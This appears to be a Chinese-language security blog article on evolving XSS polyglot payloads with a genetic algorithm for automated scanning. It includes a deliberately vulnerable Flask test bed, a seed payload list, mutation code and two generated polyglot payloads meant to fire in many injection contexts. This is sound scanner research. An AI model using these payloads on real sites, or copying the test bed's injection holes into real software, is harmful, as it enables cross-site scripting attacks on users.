用遗传算法寻找超越人类水平的 XSS Polyglot 载荷
本文深入从技术层面剖析如何利用遗传算法创建超越人类水平的 XSS polyglot 载荷。
摘要
本文深入从技术层面剖析如何利用遗传算法创建超越人类水平的 XSS polyglot 载荷。
我们首先强调检测 XSS 漏洞的重要性,以及自动化方案在合理时间内全面测试真实应用所面临的 挑战,然后深入从技术层面探讨如何使用遗传算法来创建 polyglot 载荷。
文章的最后一部分展示了所生成载荷的示例,并讨论了未来的改进方向。
跨站脚本(XSS)
跨站脚本(XSS)是一类影响 Web 应用的漏洞。它也波及使用 javascript 多平台框架(如 Cordova 或 Ionic)构建的 移动应用,以及浏览器内嵌应用。

根据 Hacker One 的《趋势与安全报告》,XSS 是被报告最多的漏洞。自 2003 年 OWASP Top 10 安全风险设立 以来,XSS 也一直名列其中。

除了 XSS 漏洞分布广泛之外,其影响还可能带来严重后果。例如,云控制台(如 AWS)中的 XSS 可能导致在 EC2 实例中执行远程代码。Google Playstore 上的 XSS 可能导致在目标用户的移动设备上 安装恶意应用。
XSS 还曾被国家支持的攻击者和犯罪组织用来追踪异见人士和举报人的 位置,或揭露他们的真实身份。
来源:
与此同时,XSS 的利用很难被检测到。WAF 或 RASP 等防护方案收效甚微,以至于 Chrome XSS Auditor 最终因已知绕过手段的泛滥而被弃用。
XSS 不仅常见,其影响还可能是毁灭性的,而且真实世界中的利用很难被检测到。
发现 XSS
XSS 以不同的形式和形态出现。有反射型 XSS、持久型、基于 DOM 的,以及基于 postMessage 的。
XSS 的输入可以来自路径、参数、URL 片段、cookie、referrer。它可以 从父框架或从子 iframe 中注入。
由于 Javascript 语言高度动态的特性,用静态方法检测 XSS 漏洞很少能奏效。Javascript 的 转译器、压缩器和混淆器出于性能和混淆的原因而利用了该语言的动态特性,这进一步加剧了 这一问题。

识别 XSS 漏洞最有效的方法是使用动态分析,而动态分析还可以通过各种 形式的执行追踪来进一步增强,比如 trusted-types 污点追踪、函数 Hook,或底层的 chrome String 追踪。
用动态分析检测 XSS 很简单。它的做法是注入一个能够生效的载荷,从而触发一个 表明注入成功的回调。
动态检测
Ostorlab 的实现依赖 Chrome 来渲染和测试 XSS。使用一个功能完整的浏览器,可以开箱即用地 支持 javascript 密集型应用,比如使用 React、Angular 或 Vue.js 等框架构建的 SPA(单页应用)。
Chrome 以 headless 模式启动,并带有一长串用于性能优化的标志,比如禁用某些 面向人类的功能,以及某些可能影响分析结果的安全功能。
下面是传递给 chrome 的标志示例:
'--no-default-browser-check',
'--no-first-run',
'--disable-client-side-phishing-detection',
'--disable-component-extensions-with-background-pages',
'--disable-default-apps',
'--disable-extensions',
'--mute-audio',
'--disable-background-timer-throttling',
'--disable-backgrounding-occluded-windows',
'--disable-features=ScriptStreaming',
'--disable-hang-monitor',
'--disable-ipc-flooding-protection',
'--disable-notifications',
'--disable-popup-blocking',
'--disable-prompt-on-repost',
'--disable-renderer-backgrounding',
'--js-flags=--random-seed=XXXXX,
'--use-gl=swiftshader',
'--disable-background-networking',
'--disable-breakpad',
'--disable-component-update',
'--disable-domain-reliability',
'--disable-sync',
'--metrics-recording-only'
一旦 chrome 运行起来,许多测试会话就会同时启动,为每个目标输入注入一个载荷。
一个载荷类似于 <svg onload={callback}>。
该回调有多种实现方式,它可以是一个向服务器发送请求的 Javascript 函数, 也可以是一个弹窗或控制台消息。
Ostorlab 的实现依赖 console 事件来告知 XSS 的存在。其他方法在用任何 javascript 逻辑 重载回调时都表现出一些怪异行为,这可能导致代码被提升(hoisted),被添加到 javascript 队列的末尾。
该队列通常会因 XSS 模糊测试工具产生的事件而过载,如果在队列完全清空之前就离开页面, 就可能导致 XSS 被漏掉。
控制台消息由 Chrome 直接发送,可以使用 Chrome Debug 协议进行拦截。
然而,该 console 已被弃用,取而代之的是一个更强大的替代方案,它提供了一项期待已久的 功能——堆栈追踪:
百万载荷困境
XSS 动态测试的致命弱点就是百万载荷困境。
XSS 在客户端的不同上下文中发生,它可以发生在 a 标签、div 标签中,在属性中,
在其内容中。它可能存在大小限制、字符限制,或者可能由注入一个特定的 JSON
对象所引发。
以下是 XSS 上下文的示例:
@app.route("/test_bed/html_element")
def test_bed_html_element():
return '''<div>{inject}</div>'''
@app.route("/test_bed/js_html_element")
def test_bed_js_html_element():
return '''
<div id='elmtId'></div>
<script>
window.onload = () => { {
const payload = decodeURIComponent(window.location.hash.substr(1));
document.getElementById('elmtId').innerHTML = payload;
}}
</script>'''
@app.route("/test_bed/html_attribute_value_double_quoted")
def test_bed_html_attribute_value_double_quoted():
return '''<div class="{inject}">content</div>'''
@app.route("/test_bed/html_attribute_value_single_quoted")
def test_bed_html_attribute_value_single_quoted():
return '''<div class='{inject}'>content</div>'''
@app.route("/test_bed//html_attribute_value_not_quoted")
def test_bed_html_attribute_value_not_quoted():
return '''<div class={inject}>content</div>'''
@app.route("/test_bed/html_attribute_name")
def test_bed_html_attribute_name():
return '''<div {inject}='class'>content</div>'''
@app.route("/test_bed/script_element")
def test_bed_script_element():
return '''<script>{inject}</script>'''
@app.route("/test_bed/js_script_element")
def test_bed_js_script_element():
return '''
<script id='elmtId'></script>
<script>
const payload = decodeURIComponent(window.location.hash.substr(1));
document.getElementById('elmtId').innerHTML = payload;
</script>'''
@app.route("/test_bed/script_element")
def test_bed_script_element():
return '''<script>{inject}</script>'''
@app.route("/test_bed/js_script_element")
def test_bed_js_script_element():
return '''
<script id='elmtId'></script>
<script>
const payload = decodeURIComponent(window.location.hash.substr(1));
document.getElementById('elmtId').innerHTML = payload;
</script>'''
@app.route("/test_bed/script_double_quoted")
def test_bed_script_double_quoted():
return '''<script>var hello="{inject}";</script>'''
@app.route("/test_bed/script_single_quoted")
def test_bed_script_single_quoted():
return '''<script>var hello='{inject}';</script>'''
@app.route("/test_bed/iframe_src")
def test_bed_iframe_src():
return '''<iframe src="{inject}"></iframe>'''
@app.route("/test_bed/js_iframe_src")
def test_bed_js_iframe_src():
return '''
<iframe id='elmtId'></iframe>
<script>
const payload = decodeURIComponent(window.location.hash.substr(1));
document.getElementById('elmtId').setAttribute('src', payload);
</script>'''
@app.route("/test_bed/html_comment")
def test_bed_html_comment():
return '''<!-- {inject} -->'''
@app.route("/test_bed/textarea_element")
def test_bed_textarea_element():
return '''<textarea>{inject}</textarea>'''
让我们做一些基本的计算,以理解这个问题的规模。
假设我们想要测试 30 个注入上下文(Ostorlab 的测试平台拥有 50 多个注入上下文,而且我们 还在不断添加新的)。再假设我们平均只对 20 个注入点进行测试:
- 路径
/{here}/{here2}/{here3} - URL 参数
/a/b/c?q={here}&{here}=test - 片段
a/b/c#{here} - Cookie
Cookile: {here}={here} - 标头
{here}: {here}\r\n - 请求体参数
{here}={here}&{here}={here} - Referer
Referer: {here} - Iframe 父级注入
而我们想要测试每一个页面,像 Uber 这样的 Web 应用,仅未经身份验证的部分就有超过 120k 个页面, 像 ING 这样的银行的官方网站也有超过 7k 个页面。
在一个能够承受高 QPS(每秒查询数)的网站上,使用高性能并行虚拟机进行测试的情况会是:
- 30 个载荷
- 20 个注入点
- 每次测试 20 秒,包括加载、执行、点击事件触发和回调执行
- 100 个并行实例
Uber 的测试将需要 72M 个载荷,耗时 166 天才能完成;ING 则需要 4.2 M 个请求,耗时 9 天才能 完成。

测试每一个页面、每一个输入、每一个漏洞,并覆盖每一个上下文,需要数百万个请求,这 需要数天乃至数周才能完成。
Polyglot 载荷
为了降低全面测试一个应用所需的请求数量,用单个载荷组合多个注入上下文 是一种颇具吸引力的优化方式。
例如,用单个载荷替代 30 个上下文,将使我们对 Uber 的测试从 166 天缩短到 5 天, 从 9 天的测试缩短到 7 小时。
polyglot 载荷是安全测试人员中一个广为人知的话题,人们还会竞相创建性能最佳的载荷:

虽然网上已经有一些非常优秀的载荷,但这些载荷缺少现代 javascript 框架的上下文以及移动端的上下文。
公开载荷的另一个问题是,它只解决了用单个请求最大化覆盖的问题。 然而,有几个上下文彼此之间并不兼容,因此我们至少需要 2 个载荷才能实现完全覆盖, 而公开载荷从未处理过这一点。
创建这些载荷是一个困难且耗时的问题,由于很难推理某个载荷究竟是如何工作的,有些人 甚至将其与巫术相提并论。
权衡创建 polyglot 载荷的收益与挑战,我们能否将其创建过程自动化?又能否 超越现有的载荷?
载荷的自动化生成
为了将 polyglot 载荷的创建自动化,我们想到的一个方案是遗传算法。
将遗传算法用于创造性的输入生成,在安全工具中并非新鲜事。遗传算法 已经在为 AFL 和 HonggFuzz 等多个二进制模糊测试工具提供动力。
American Fuzzy Lop 是一款暴力模糊测试工具,搭配了一个极其简单但坚如磐石、由插桩引导的 遗传算法。它使用一种改进形式的边覆盖率,毫不费力地捕捉到程序控制流中细微的、 局部范围的变化。
遗传算法受自然选择过程的启发,属于更大的进化 算法(EA)类别。遗传算法通常依靠受生物学启发的算子(如变异、交叉和选择), 为优化和搜索问题生成高质量的解决方案。
遗传算法实现起来很简单,它由可重复的迭代组成,当找到 一个解或达到固定的迭代次数时停止。针对我们问题的实现如下所示:

- 第一阶段,种群: 每次迭代都从一个种群开始。在我们的例子中,初始种群是一组 覆盖了我们测试平台中每个上下文的载荷。我们做了多次实验,有些使用简单的小载荷,另一些 则在其中加入了高性能的载荷。
- 第二阶段,评估: 这个阶段的工作是在测试平台上测试每个载荷,并列出其覆盖的每个 测试用例。
- 第三阶段,选择: 其工作是找出性能最佳的载荷。这可以使用不同的选择 标准来完成,比如覆盖的上下文数量、载荷的大小、每单位大小覆盖上下文的加权比率等。
- 第四阶段,变异与交叉: 其工作是从现有载荷中生成一个新种群。这是一 组转换操作,比如 token 注入、字符翻转、截断、部分拼接等。
弄清楚算法每一步的确切公式是一个反复试验的过程。
测试平台
测试平台由一组有漏洞的端点组成,代表不同类型的 XSS,比如 DOM 型、反射型、 存储型和 postMessage 型。测试平台实现了不同类型的输入处理,比如 url 编码、html 转义,并 支持不同类型的注入点。
每个上下文都根据其流行程度被赋予一个权重。该权重是根据 XSS 领域专家的 意见来分配的。
初始种群
我们使用不同的初始种群集合进行了多次实验。
使用已知的高性能载荷通常能很快被改进以纳入其他上下文,但也会很快 在一个局部最大值处停滞。
使用覆盖范围有限的简单载荷则会缓慢地收敛到性能更高的载荷,但其结果 新颖且出乎意料。
_PAYLOADS = (
"<svg/onload={callback}//>",
"\" onclick={callback} a=\"",
"' onclick={callback} a='",
"a onclick={callback} ",
"'><svg onload={callback}><b id='",
"--><svg/onload={callback}//>",
"</textarea><svg/onload={callback}//>",
"</title><svg/onload={callback}//>",
"</style><svg/onload={callback}//>",
"*/</style><svg/onload={callback}//><style>/*",
"{callback};",
"\"-{callback}-\"",
"'-{callback}-'",
"</script><script>{callback};",
"%0a{callback};",
"*/{callback};/*",
"*/{callback};/*",
"{callback}",
"\\x3csvg onload={callback}\\x3e",
"a/;{callback};//",
"a onclick={callback} ",
"a\" onclick={callback} a=\"",
"a' onclick={callback} a='",
"javascript:{callback}",
"';{callback};//",
"\";{callback};//",
"`;{callback}//",
"<svg onload={callback}>",
'''"'-function(){ {{callback} }}()-">\"><scrIpt>{callback}</scrIpt><aUdio src=x oNerror={callback}><"-'-function(){ {{callback} }}()"''',
'''jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk={callback} )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd={callback}//>\x3e''',
)
选择
选择阶段的工作是选出最适应的元素,用于创建新的种群。
我们使用不同的适应度函数做了多次实验,比如选择最短的载荷、根据覆盖上下文数量 选择性能最高的载荷、纳入载荷的大小等。上下文的权重被用来为每个载荷 分配分数。
结果表明,朴素的适应度算法表现不佳,而纳入多个 因素的函数则提供了更优的解决方案。
交叉与变异
交叉和变异操作是针对该问题量身定制的。例如,我们创建了一个 token 列表 用于增强步骤。
剪枝和交叉操作谨慎地确保不会影响回调的位置。
所使用的变异保持简单,并被证明能有效地生成新颖的解决方案。
TOKENS = (
';',
',',
'/',
'/*',
'"',
'\'',
'//',
'*/',
'/**/',
'javascript:',
'-',
'`',
' ',
'(',
')',
'</',
'\n',
'%0D%0A',
'a',
'style',
'button',
'title',
'template',
'input',
'title',
'textarea',
'script',
'iframe',
'frameset',
'noscript',
'noembed',
'template',
'svg',
'audio',
'video',
'source',
'<!--',
'-->',
'\x3c',
'\x3e',
'{callback}',
'onload=',
'onerror=',
'href=',
'formaction=',
'src=',
'onfocus=',
'onblur=',
'poster=',
'autofocus',
'srcdoc=',
'function(){ {{callback} }}()',
'()=>{callback}',
)
def _mutate_with_evolution(self):
for individual in self._population:
for _ in range(self._repeated_extra_tokens):
extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
self._new_population.add(individual + ''.join(extra_tokens))
extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
self._new_population.add(''.join(extra_tokens) + individual)
def _mutate_with_flips(self):
for individual in self._population:
separations = re.split('{callback}', individual)
separation = random.choice(separations)
if separation:
self._new_population.add(individual.replace(separation, random.choice(TOKENS), 1))

在变异和交叉步骤中,一些载荷被丢弃了,比如超过大小限制的载荷。
遗传算法的一个缺点是难以复现过去的结果。变异和交叉操作的 随机性因素导致每次实验都会生成不同的结果。为确保实验可 复现,必须用保存的值为所有随机性函数设定种子。
结果
以下是高性能载荷的示例,第一个使用了一个已知的高性能载荷作为种子, 并对其稍作改进。第二个则是从简单的载荷创建而来。
有些载荷利用了 Chrome 浏览器中未知的行为,比如 嵌入在另一个 SVG 标签中的 SVG 标签仍会触发 javascript 回调。
javascript:{callback}//*/javascript:javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload={callback}onload={callback}//><svg onload={callback}><svg onload={callback}>*/</style><script>{callback}</script><style>
-{callback}//</style><svg/onload={callback}//>/**/{callback}//("-{callback}-"///,\'-{callback}-\'--><svg/onload={callback}>\\x3csvg onload={callback}\\x3e</textarea><svg/onload={callback}//>/**/{callback}//</script><script>{callback}//function(){ {{callback} }}()*/{callback}--><svg/onload={callback}//>
展望
将这种方法用于对抗 XSS 过滤器展现出了有前景的结果,但仍需 进一步工作来调整适应度函数。
其他改进方向包括使用自适应遗传算法来加速向高性能 解的收敛,以及探索使用蒙特卡洛搜索树。
将这种方法应用于类似概念以进行实时应用模糊测试,比如寻找需要
自定义输入的 XSS 漏洞,像 {action: ‘render’, payload: ‘injectme’ } 这样的输入,并使用污点追踪作为反馈回路。